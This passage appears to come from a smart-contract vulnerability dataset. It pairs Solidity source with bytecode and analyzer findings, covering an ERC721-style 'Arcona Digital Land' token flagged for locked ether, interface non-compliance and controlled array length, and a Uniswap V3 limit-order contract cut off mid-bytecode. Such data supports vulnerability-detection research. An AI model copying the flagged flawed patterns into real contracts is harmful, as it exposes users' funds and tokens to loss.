uint256 ID of the land to query the owner of * @return owner address currently marked as the owner of the given land ID */ function ownerOf(uint256 _tokenId) public view returns (address) { return landOwner[_tokenId]; } function totalSupply() public view returns (uint256) { return totalLands; } /** * @dev Gets the balance of the specified address * @param _owner address to query the balance of * @return uint256 representing the amount owned by the passed address */ function balanceOf(address _owner) public view returns (uint256) { return ownedLands[_owner].length; } /** * @dev Gets the list of lands owned by a given address * @param _owner address to query the lands of * @return uint256[] representing the list of lands owned by the passed address */ function landsOf(address _owner) public view returns (uint256[]) { return ownedLands[_owner]; } /** * @dev Gets the approved address to take ownership of a given land ID * @param _tokenId uint256 ID of the land to query the approval of * @return address currently approved to take ownership of the given land ID */ function approvedFor(uint256 _tokenId) public view returns (address) { return landApprovals[_tokenId]; } /** * @dev Tells whether the msg.sender is approved for the given land ID or not * This function is not private so it can be extended in further implementations like the operatable ERC721 * @param _owner address of the owner to query the approval of * @param _tokenId uint256 ID of the land to query the approval of * @return bool whether the msg.sender is approved for the given land ID or not */ function allowance(address _owner, uint256 _tokenId) public view returns (bool) { return approvedFor(_tokenId) == _owner; } /** * @dev Approves another address to claim for the ownership of the given land ID * @param _to address to be approved for the given land ID * @param _tokenId uint256 ID of the land to be approved */ function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) returns (bool) { require(_to != msg.sender); if (approvedFor(_tokenId) != address(0) || _to != address(0)) { landApprovals[_tokenId] = _to; emit Approval(msg.sender, _to, _tokenId); return true; } } function approveAndCall(address _spender, uint256 _tokenId, bytes _extraData) public returns (bool) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _tokenId)) { spender.receiveApproval(msg.sender, this, _tokenId, _extraData); return true; } } function createAuction(address _auction, uint _tokenId, uint _startPrice, uint _duration) public returns (bool) { tokenRecipient auction = tokenRecipient(_auction); if (approve(_auction, _tokenId)) { auction.receiveCreateAuction(msg.sender, this, _tokenId, _startPrice, _duration); return true; } } function createAuctionFromArray(address _auction, uint[] _landIds, uint _startPrice, uint _duration) public returns (bool) { tokenRecipient auction = tokenRecipient(_auction); for (uint i = 0; i < _landIds.length; ++i) require(approve(_auction, _landIds[i])); auction.receiveCreateAuctionFromArray(msg.sender, this, _landIds, _startPrice, _duration); return true; } /** * @dev Claims the ownership of a given land ID * @param _tokenId uint256 ID of the land being claimed by the msg.sender */ function takeOwnership(uint256 _tokenId) public { require(allowance(msg.sender, _tokenId)); clearApprovalAndTransfer(ownerOf(_tokenId), msg.sender, _tokenId); } /** * @dev Transfers the ownership of a given land ID to another address * @param _to address to receive the ownership of the given land ID * @param _tokenId uint256 ID of the land to be transferred */ function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) returns (bool) { clearApprovalAndTransfer(msg.sender, _to, _tokenId); return true; } function ownerTransfer(address _from, address _to, uint256 _tokenId) onlyAdmin public returns (bool) { clearApprovalAndTransfer(_from, _to, _tokenId); return true; } /** * @dev Internal function to clear current approval and transfer the ownership of a given land ID * @param _from address which you want to send lands from * @param _to address which you want to transfer the land to * @param _tokenId uint256 ID of the land to be transferred */ function clearApprovalAndTransfer(address _from, address _to, uint256 _tokenId) internal { require(owns(_from, _tokenId)); require(_to != address(0)); require(_to != ownerOf(_tokenId)); clearApproval(_from, _tokenId); removeLand(_from, _tokenId); addLand(_to, _tokenId); emit Transfer(_from, _to, _tokenId); } /** * @dev Internal function to clear current approval of a given land ID * @param _tokenId uint256 ID of the land to be transferred */ function clearApproval(address _owner, uint256 _tokenId) private { require(owns(_owner, _tokenId)); landApprovals[_tokenId] = address(0); emit Approval(_owner, address(0), _tokenId); } /** * @dev Internal function to add a land ID to the list of a given address * @param _to address representing the new owner of the given land ID * @param _tokenId uint256 ID of the land to be added to the lands list of the given address */ function addLand(address _to, uint256 _tokenId) private { require(landOwner[_tokenId] == address(0)); landOwner[_tokenId] = _to; uint256 length = ownedLands[_to].length; ownedLands[_to].push(_tokenId); ownedLandsIndex[_tokenId] = length; totalLands = totalLands.add(1); } /** * @dev Internal function to remove a land ID from the list of a given address * @param _from address representing the previous owner of the given land ID * @param _tokenId uint256 ID of the land to be removed from the lands list of the given address */ function removeLand(address _from, uint256 _tokenId) private { require(owns(_from, _tokenId)); uint256 landIndex = ownedLandsIndex[_tokenId]; // uint256 lastLandIndex = balanceOf(_from).sub(1); uint256 lastLandIndex = ownedLands[_from].length.sub(1); uint256 lastLand = ownedLands[_from][lastLandIndex]; landOwner[_tokenId] = address(0); ownedLands[_from][landIndex] = lastLand; ownedLands[_from][lastLandIndex] = 0; // Note that this will handle single-element arrays. In that case, both landIndex and lastLandIndex are going to // be zero. Then we can make sure that we will remove _tokenId from the ownedLands list since we are first swapping // the lastLand to the first position, and then dropping the element placed in the last position of the list ownedLands[_from].length--; ownedLandsIndex[_tokenId] = 0; ownedLandsIndex[lastLand] = landIndex; totalLands = totalLands.sub(1); } function createLand(address _owner, uint _id) onlyAdmin public returns (uint) { require(_owner != address(0)); uint256 _tokenId = lastLandId++; addLand(_owner, _tokenId); //store new land data lands[_tokenId] = Land({ id : _id }); emit Transfer(address(0), _owner, _tokenId); emit NewLand(_owner, _tokenId); return _tokenId; } function createLandAndAuction(address _owner, uint _id, address _auction, uint _startPrice, uint _duration) onlyAdmin public { uint id = createLand(_owner, _id); require(createAuction(_auction, id, _startPrice, _duration)); } function owns(address _claimant, uint256 _tokenId) public view returns (bool) { return ownerOf(_tokenId) == _claimant && ownerOf(_tokenId) != address(0); } function transferFrom(address _from, address _to, uint256 _tokenId) public returns (bool) { require(_to != address(this)); require(allowance(msg.sender, _tokenId)); clearApprovalAndTransfer(_from, _to, _tokenId); return true; } } contract ArconaDigitalLand is LandBase { string public constant name = " Arcona Digital Land"; string public constant symbol = "ARDL"; function implementsERC721() public pure returns (bool) { return true; } function() public payable{ revert(); } }
0x6080604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610158578063095ea7b3146101e25780631051db341461021a57806318160ddd1461022f57806323b872dd1461025657806324d7806c146102805780632a6dd48f146102a15780635aff457f146102d557806361beb1d71461034157806362d918551461036b5780636352211e1461038e57806370480275146103a657806370a08231146103c7578063818d4b5d146103e85780638da5cb5b1461040c57806395d89b41146104215780639805d7d214610436578063a1291f7f146104a7578063a9059cbb146104d1578063b2e6ceeb146104f5578063cae9ca511461050d578063db165a7614610576578063ddc6a1711461059a578063e261f1e5146105be578063f2fde38b146105d6578063f4c2ebdd146105f7575b600080fd5b34801561016457600080fd5b5061016d610628565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101a757818101518382015260200161018f565b50505050905090810190601f1680156101d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ee57600080fd5b50610206600160a060020a036004351660243561065f565b604080519115158252519081900360200190f35b34801561022657600080fd5b50610206610729565b34801561023b57600080fd5b5061024461072f565b60408051918252519081900360200190f35b34801561026257600080fd5b50610206600160a060020a0360043581169060243516604435610735565b34801561028c57600080fd5b50610206600160a060020a0360043516610777565b3480156102ad57600080fd5b506102b9600435610795565b60408051600160a060020a039092168252519081900360200190f35b3480156102e157600080fd5b50604080516020600460248035828101358481028087018601909752808652610206968435600160a060020a0316963696604495919490910192918291850190849080828437509497505084359550505060209092013591506107b09050565b34801561034d57600080fd5b50610206600160a060020a03600435166024356044356064356108d7565b34801561037757600080fd5b5061038c600160a060020a036004351661098a565b005b34801561039a57600080fd5b506102b9600435610a11565b3480156103b257600080fd5b5061038c600160a060020a0360043516610a2c565b3480156103d357600080fd5b50610244600160a060020a0360043516610aa7565b3480156103f457600080fd5b50610206600160a060020a0360043516602435610ac2565b34801561041857600080fd5b506102b9610b06565b34801561042d57600080fd5b5061016d610b15565b34801561044257600080fd5b50610457600160a060020a0360043516610b4c565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561049357818101518382015260200161047b565b505050509050019250505060405180910390f35b3480156104b357600080fd5b50610206600160a060020a0360043581169060243516604435610bb8565b3480156104dd57600080fd5b50610206600160a060020a0360043516602435610bc3565b34801561050157600080fd5b5061038c600435610be6565b34801561051957600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610206948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610c119650505050505050565b34801561058257600080fd5b50610244600160a060020a0360043516602435610d29565b3480156105a657600080fd5b50610206600160a060020a0360043516602435610e05565b3480156105ca57600080fd5b50610244600435610e2b565b3480156105e257600080fd5b5061038c600160a060020a0360043516610e3d565b34801561060357600080fd5b5061038c600160a060020a036004358116906024359060443516606435608435610ed1565b60408051808201909152601481527f204172636f6e61204469676974616c204c616e64000000000000000000000000602082015281565b60008161066c3382610ac2565b151561067757600080fd5b600160a060020a03841633141561068d57600080fd5b600061069884610795565b600160a060020a03161415806106b65750600160a060020a03841615155b1561072257600083815260066020526040808220805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0388169081179091559051859233917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259190a4600191505b5092915050565b60015b90565b60025490565b6000600160a060020a03831630141561074d57600080fd5b6107573383610e05565b151561076257600080fd5b61076d848484610f12565b5060019392505050565b600160a060020a031660009081526001602052604090205460ff1690565b600090815260066020526040902054600160a060020a031690565b600084815b85518110156107f2576107df8787838151811015156107d057fe5b9060200190602002015161065f565b15156107ea57600080fd5b6001016107b5565b6040517fc89e528e00000000000000000000000000000000000000000000000000000000815233600482018181523060248401819052606484018990526084840188905260a0604485019081528a5160a48601528a51600160a060020a0388169563c89e528e95948d938d938d9360c401906020808801910280838360005b83811015610889578181015183820152602001610871565b505050509050019650505050505050600060405180830381600087803b1580156108b257600080fd5b505af11580156108c6573d6000803e3d6000fd5b5060019a9950505050505050505050565b6000846108e4818661065f565b1561098157604080517f100a0ed10000000000000000000000000000000000000000000000000000000081523360048201523060248201526044810187905260648101869052608481018590529051600160a060020a0383169163100a0ed19160a480830192600092919082900301818387803b15801561096457600080fd5b505af1158015610978573d6000803e3d6000fd5b50505050600191505b50949350505050565b600054600160a060020a031633146109a157600080fd5b600160a060020a03811660009081526001602052604090205460ff1615156109c857600080fd5b600160a060020a038116600081815260016020526040808220805460ff19169055517fb6932914dcfc2a1d602e4e0cd9f9d99dc9640ccfc789b1b83a691fc0c90c24c39190a250565b600090815260056020526040902054600160a060020a031690565b600054600160a060020a03163314610a4357600080fd5b600160a060020a0381161515610a5857600080fd5b600160a060020a0381166000818152600160208190526040808320805460ff1916909217909155517fad6de4452a631e641cb59902236607946ce9272b9b981f2f80e8d129cb9084ba9190a250565b600160a060020a031660009081526007602052604090205490565b600082600160a060020a0316610ad783610a11565b600160a060020a0316148015610aff57506000610af383610a11565b600160a060020a031614155b9392505050565b600054600160a060020a031681565b60408051808201909152600481527f4152444c00000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a038116600090815260076020908152604091829020805483518184028101840190945280845260609392830182828015610bac57602002820191906000526020600020905b815481526020019060010190808311610b98575b50505050509050919050565b600061075733610777565b600081610bd03382610ac2565b1515610bdb57600080fd5b61076d338585610f12565b610bf03382610e05565b1515610bfb57600080fd5b610c0e610c0782610a11565b3383610f12565b50565b600083610c1e818561065f565b15610d21576040517f56826ee60000000000000000000000000000000000000000000000000000000081523360048201818152306024840181905260448401889052608060648501908152875160848601528751600160a060020a038716956356826ee695948b938b939192909160a490910190602085019080838360005b83811015610cb5578181015183820152602001610c9d565b50505050905090810190601f168015610ce25780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610d0457600080fd5b505af1158015610d18573d6000803e3d6000fd5b50505050600191505b509392505050565b600080610d3533610777565b1515610d4057600080fd5b600160a060020a0384161515610d5557600080fd5b506003805460018101909155610d6b8482610fc1565b604080516020818101835285825260008481526004909152828120915190915590518291600160a060020a038716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a4604080518281529051600160a060020a038616917ff81b1d2ee455f4cd7d6958269606dc9daa4c68e2e0f7965ae36887d2008d65a7919081900360200190a29392505050565b600082600160a060020a0316610e1a83610795565b600160a060020a0316149392505050565b60046020526000908152604090205481565b600054600160a060020a03163314610e5457600080fd5b600160a060020a0381161515610e6957600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6000610edc33610777565b1515610ee757600080fd5b610ef18686610d29565b9050610eff848285856108d7565b1515610f0a57600080fd5b505050505050565b610f1c8382610ac2565b1515610f2757600080fd5b600160a060020a0382161515610f3c57600080fd5b610f4581610a11565b600160a060020a0383811691161415610f5d57600080fd5b610f67838261105f565b610f7183826110d6565b610f7b8282610fc1565b8082600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b600081815260056020526040812054600160a060020a031615610fe357600080fd5b506000818152600560209081526040808320805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387169081179091558352600782528083208054600181810183559185528385208101869055858552600890935292208190556002549091611057919061124e565b600255505050565b6110698282610ac2565b151561107457600080fd5b600081815260066020526040808220805473ffffffffffffffffffffffffffffffffffffffff1916905551829190600160a060020a038516907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925908390a45050565b60008060006110e58585610ac2565b15156110f057600080fd5b600084815260086020908152604080832054600160a060020a038916845260079092529091205490935061112b90600163ffffffff61125d16565b600160a060020a03861660009081526007602052604090208054919350908390811061115357fe5b6000918252602080832090910154868352600582526040808420805473ffffffffffffffffffffffffffffffffffffffff19169055600160a060020a03891684526007909252912080549192508291859081106111ac57fe5b6000918252602080832090910192909255600160a060020a03871681526007909152604081208054849081106111de57fe5b6000918252602080832090910192909255600160a060020a038716815260079091526040902080549061121590600019830161126f565b50600084815260086020526040808220829055828252902083905560025461124490600163ffffffff61125d16565b6002555050505050565b600082820183811015610aff57fe5b60008282111561126957fe5b50900390565b81548183558181111561129357600083815260209020611293918101908301611298565b505050565b61072c91905b808211156112b2576000815560010161129e565b50905600a165627a7a723058203dbd5d7025a01ea6c30168547c10f2c6ba85e7aa1f33da6cea154df17e2b6e720029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}, {"check": "erc721-interface", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
5,875
0xbea86b52286d7d26f7081786207715a7f4ed5d7b
// SPDX-License-Identifier: MIT pragma solidity ^0.7.0; pragma abicoder v2; interface IUniswapV3SwapCallback { function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external; } interface IPeripheryImmutableState { function factory() external view returns (address); function WETH9() external view returns (address); } interface ISwapRouter is IUniswapV3SwapCallback, IPeripheryImmutableState { struct ExactInputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; uint160 sqrtPriceLimitX96; } function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut); struct ExactInputParams { bytes path; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; } function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); struct ExactOutputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; uint160 sqrtPriceLimitX96; } function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn); struct ExactOutputParams { bytes path; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; } function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn); } interface IUniswapV3Factory { event OwnerChanged(address indexed oldOwner, address indexed newOwner); event PoolCreated(address indexed token0, address indexed token1, uint24 indexed fee, int24 tickSpacing, address pool); event FeeAmountEnabled(uint24 indexed fee, int24 indexed tickSpacing); function owner() external view returns (address); function feeAmountTickSpacing(uint24 fee) external view returns (int24); function getPool(address tokenA, address tokenB, uint24 fee) external view returns (address pool); function createPool(address tokenA, address tokenB, uint24 fee) external returns (address pool); function setOwner(address _owner) external; function enableFeeAmount(uint24 fee, int24 tickSpacing) external; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library TransferHelper { function safeTransferFrom(address token, address from, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF'); } function safeTransfer(address token, address to, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST'); } function safeApprove(address token, address to, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.approve.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'SA'); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract LimitOrder is Ownable { using SafeMath for uint256; ISwapRouter public immutable uniswapRouter; IUniswapV3Factory public immutable uniswapFactory; enum OrderState {Created, Cancelled, Finished} enum OrderType {EthForTokens, TokensForEth, TokensForTokens} struct Order { OrderState orderState; OrderType orderType; address payable traderAddress; address assetIn; address assetOut; uint assetInOffered; uint assetOutExpected; uint executorFee; uint stake; uint id; uint ordersI; uint24 poolFee; } uint public STAKE_FEE = 2; uint public STAKE_PERCENTAGE = 92; uint public EXECUTOR_FEE = 500000000000000; uint[] public orders; uint public ordersNum = 0; address public stakeAddress = address(0xC9f9de264cd16FD0e5b3FB4C1b276549f70814c7); address public owAddress = address(0xc56dE69EC711D6E4A48283c346b1441f449eCA5A); event logOrderCreated( uint id, OrderState orderState, OrderType orderType, address payable traderAddress, address assetIn, address assetOut, uint assetInOffered, uint assetOutExpected, uint executorFee, uint24 poolFee ); event logOrderCancelled(uint id, address payable traderAddress, address assetIn, address assetOut, uint refundETH, uint refundToken); event logOrderExecuted(uint id, address executor, uint swapResult); mapping(uint => Order) public orderBook; mapping(address => uint[]) private ordersForAddress; constructor(ISwapRouter _uniswapRouter) { uniswapRouter = ISwapRouter(_uniswapRouter); uniswapFactory = IUniswapV3Factory(_uniswapRouter.factory()); } function setNewStakeFee(uint256 _STAKE_FEE) external onlyOwner { STAKE_FEE = _STAKE_FEE; } function setNewStakePercentage(uint256 _STAKE_PERCENTAGE) external onlyOwner { require(_STAKE_PERCENTAGE >= 0 && _STAKE_PERCENTAGE <= 100,'STAKE_PERCENTAGE must be between 0 and 100'); STAKE_PERCENTAGE = _STAKE_PERCENTAGE; } function setNewExecutorFee(uint256 _EXECUTOR_FEE) external onlyOwner { EXECUTOR_FEE = _EXECUTOR_FEE; } function setNewStakeAddress(address _stakeAddress) external onlyOwner { require(_stakeAddress != address(0), 'Do not use 0 address'); stakeAddress = _stakeAddress; } function setNewOwAddress(address _owAddress) external onlyOwner { require(_owAddress != address(0), 'Do not use 0 address'); owAddress = _owAddress; } function getPool(address tokenA, address tokenB, uint24 fee) internal view returns (address) { address _tokenPair = uniswapFactory.getPool(tokenA, tokenB, fee); require(_tokenPair != address(0), "Unavailable token pair"); return _tokenPair; } function updateOrder(Order memory order, OrderState newState) internal { if(orders.length > 1) { uint openId = order.ordersI; uint lastId = orders[orders.length-1]; Order memory lastOrder = orderBook[lastId]; lastOrder.ordersI = openId; orderBook[lastId] = lastOrder; orders[openId] = lastId; } orders.pop(); order.orderState = newState; orderBook[order.id] = order; } function createOrder( OrderType orderType, address assetIn, address assetOut, uint assetInOffered, uint assetOutExpected, uint executorFee, uint24 poolFee ) external payable { uint payment = msg.value; uint stakeValue = 0; require(assetInOffered > 0, "Asset in amount must be greater than 0"); require(assetOutExpected > 0, "Asset out amount must be greater than 0"); require(executorFee >= EXECUTOR_FEE, "Invalid fee"); if(orderType == OrderType.EthForTokens) { require(assetIn == uniswapRouter.WETH9(), "Use WETH as the assetIn"); stakeValue = assetInOffered.mul(STAKE_FEE).div(1000); require(payment == assetInOffered.add(executorFee).add(stakeValue), "Payment = assetInOffered + executorFee + stakeValue"); TransferHelper.safeTransferETH(stakeAddress, stakeValue); } else { require(payment == executorFee, "Transaction value must match executorFee"); if (orderType == OrderType.TokensForEth) { require(assetOut == uniswapRouter.WETH9(), "Use WETH as the assetOut"); } TransferHelper.safeTransferFrom(assetIn, msg.sender, address(this), assetInOffered); } uint orderId = ordersNum; ordersNum++; orderBook[orderId] = Order(OrderState.Created, orderType, msg.sender, assetIn, assetOut, assetInOffered, assetOutExpected, executorFee, stakeValue, orderId, orders.length, poolFee); ordersForAddress[msg.sender].push(orderId); orders.push(orderId); emit logOrderCreated( orderId, OrderState.Created, orderType, msg.sender, assetIn, assetOut, assetInOffered, assetOutExpected, executorFee, poolFee ); } function executeOrder(uint orderId) external returns (uint) { Order memory order = orderBook[orderId]; require(order.traderAddress != address(0), "Invalid order"); require(order.orderState == OrderState.Created, 'Invalid order state'); updateOrder(order, OrderState.Finished); uint swapResult; ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({ tokenIn: order.assetIn, tokenOut: order.assetOut, fee: order.poolFee, recipient: order.traderAddress, deadline: block.timestamp, amountIn: order.assetInOffered, amountOutMinimum: order.assetOutExpected, sqrtPriceLimitX96: 0 }); if (order.orderType == OrderType.EthForTokens) { swapResult = uniswapRouter.exactInputSingle{ value: order.assetInOffered }(params); TransferHelper.safeTransferETH(stakeAddress, order.stake.mul(STAKE_PERCENTAGE).div(100)); TransferHelper.safeTransferETH(owAddress, order.stake.mul(100-STAKE_PERCENTAGE).div(100)); } else { TransferHelper.safeApprove(order.assetIn, address(uniswapRouter), order.assetInOffered); swapResult = uniswapRouter.exactInputSingle(params); } TransferHelper.safeTransferETH(msg.sender, order.executorFee); emit logOrderExecuted(order.id, msg.sender, swapResult); return swapResult; } function cancelOrder(uint orderId) external { Order memory order = orderBook[orderId]; require(order.traderAddress != address(0), "Invalid order"); require(msg.sender == order.traderAddress, 'This order is not yours'); require(order.orderState == OrderState.Created, 'Invalid order state'); updateOrder(order, OrderState.Cancelled); uint refundETH = 0; uint refundToken = 0; if (order.orderType != OrderType.EthForTokens) { refundETH = order.executorFee; refundToken = order.assetInOffered; TransferHelper.safeTransferETH(order.traderAddress, refundETH); TransferHelper.safeTransfer(order.assetIn, order.traderAddress, refundToken); } else { refundETH = order.assetInOffered.add(order.executorFee).add(order.stake); TransferHelper.safeTransferETH(order.traderAddress, refundETH); } emit logOrderCancelled(order.id, order.traderAddress, order.assetIn, order.assetOut, refundETH, refundToken); } function calculatePaymentETH(uint ethValue) external view returns (uint valueEth, uint stake, uint executorFee, uint total) { uint pay = ethValue; uint stakep = pay.mul(STAKE_FEE).div(1000); uint totalp = (pay.add(stakep).add(EXECUTOR_FEE)); return (pay, stakep, EXECUTOR_FEE, totalp); } function getOrdersLength() external view returns (uint) { return orders.length; } function getOrdersForAddressLength(address _address) external view returns (uint) { return ordersForAddress[_address].length; } function getOrderIdForAddress(address _address, uint index) external view returns (uint) { return ordersForAddress[_address][index]; } receive() external payable {} }
0x60806040526004361061016a5760003560e01c80638bdb2afa116100d1578063ab03c7a91161008a578063cd97d58411610064578063cd97d584146103f5578063d3b4639314610408578063f2a15c6514610428578063f2fde38b1461043d57610171565b8063ab03c7a914610390578063b7fddafd146103c0578063cb4faed0146103d557610171565b80638bdb2afa146102d95780638da5cb5b146102ee57806392cc47601461030357806394f6113414610318578063a20b6e3414610338578063a85c38ef1461037057610171565b806366afe93f1161012357806366afe93f1461022d578063715018a61461024d57806372162fe614610262578063735de9f71461028257806385107367146102a45780638ba9990a146102b957610171565b806307c2e16c1461017657806320a493e5146101a15780633d42e588146101c1578063514fcac7146101d657806358472bf3146101f8578063657f38371461021857610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b61045d565b6040516101989190612397565b60405180910390f35b3480156101ad57600080fd5b5061018b6101bc366004611c8c565b610463565b3480156101cd57600080fd5b5061018b61047e565b3480156101e257600080fd5b506101f66101f1366004611d93565b610484565b005b34801561020457600080fd5b506101f6610213366004611d93565b6106e2565b34801561022457600080fd5b5061018b61073d565b34801561023957600080fd5b506101f6610248366004611c8c565b610743565b34801561025957600080fd5b506101f66107c0565b34801561026e57600080fd5b506101f661027d366004611c8c565b61083f565b34801561028e57600080fd5b506102976108bc565b6040516101989190611df5565b3480156102b057600080fd5b506102976108e0565b3480156102c557600080fd5b506101f66102d4366004611d93565b6108ef565b3480156102e557600080fd5b50610297610929565b3480156102fa57600080fd5b5061029761094d565b34801561030f57600080fd5b5061018b61095c565b34801561032457600080fd5b5061018b610333366004611d93565b610962565b34801561034457600080fd5b50610358610353366004611d93565b610d86565b6040516101989c9b9a99989796959493929190611e46565b34801561037c57600080fd5b5061018b61038b366004611d93565b610df9565b34801561039c57600080fd5b506103b06103ab366004611d93565b610e1a565b6040516101989493929190612467565b3480156103cc57600080fd5b5061018b610e73565b3480156103e157600080fd5b506101f66103f0366004611d93565b610e79565b6101f6610403366004611d0f565b610eb3565b34801561041457600080fd5b5061018b610423366004611cc4565b61138c565b34801561043457600080fd5b506102976113c4565b34801561044957600080fd5b506101f6610458366004611c8c565b6113d3565b60045490565b6001600160a01b031660009081526009602052604090205490565b60055481565b600081815260086020526040808220815161018081019092528054829060ff1660028111156104af57fe5b60028111156104ba57fe5b81528154602090910190610100900460ff1660028111156104d757fe5b60028111156104e257fe5b815281546001600160a01b0362010000909104811660208301526001830154811660408084019190915260028401548216606084015260038401546080840152600484015460a0840152600584015460c0840152600684015460e08401526007840154610100840152600884015461012084015260099093015462ffffff166101409092019190915290820151919250166105985760405162461bcd60e51b815260040161058f90612261565b60405180910390fd5b80604001516001600160a01b0316336001600160a01b0316146105cd5760405162461bcd60e51b815260040161058f9061207e565b6000815160028111156105dc57fe5b146105f95760405162461bcd60e51b815260040161058f90611f8f565b610604816001611489565b600080808360200151600281111561061857fe5b1461065057505060e081015160a08201516040830151610638908361183c565b61064b83606001518460400151836118ce565b61068a565b61067a8361010001516106748560e001518660a001516119c390919063ffffffff16565b906119c3565b915061068a83604001518361183c565b7fc54564d8bb24f7208de85ab88c9e3373a39a2813ec2954267e5feee6c83d634483610120015184604001518560600151866080015186866040516106d4969594939291906123a0565b60405180910390a150505050565b6106ea6119ef565b6000546001600160a01b039081169116146107175760405162461bcd60e51b815260040161058f906121c9565b60648111156107385760405162461bcd60e51b815260040161058f906120b5565b600255565b60015481565b61074b6119ef565b6000546001600160a01b039081169116146107785760405162461bcd60e51b815260040161058f906121c9565b6001600160a01b03811661079e5760405162461bcd60e51b815260040161058f90611f1b565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6107c86119ef565b6000546001600160a01b039081169116146107f55760405162461bcd60e51b815260040161058f906121c9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6108476119ef565b6000546001600160a01b039081169116146108745760405162461bcd60e51b815260040161058f906121c9565b6001600160a01b03811661089a5760405162461bcd60e51b815260040161058f90611f1b565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b7f000000000000000000000000e592427a0aece92de3edee1f18e0157c0586156481565b6006546001600160a01b031681565b6108f76119ef565b6000546001600160a01b039081169116146109245760405162461bcd60e51b815260040161058f906121c9565b600355565b7f0000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f98481565b6000546001600160a01b031690565b60025481565b60008181526008602052604080822081516101808101909252805483929190829060ff16600281111561099157fe5b600281111561099c57fe5b81528154602090910190610100900460ff1660028111156109b957fe5b60028111156109c457fe5b815281546001600160a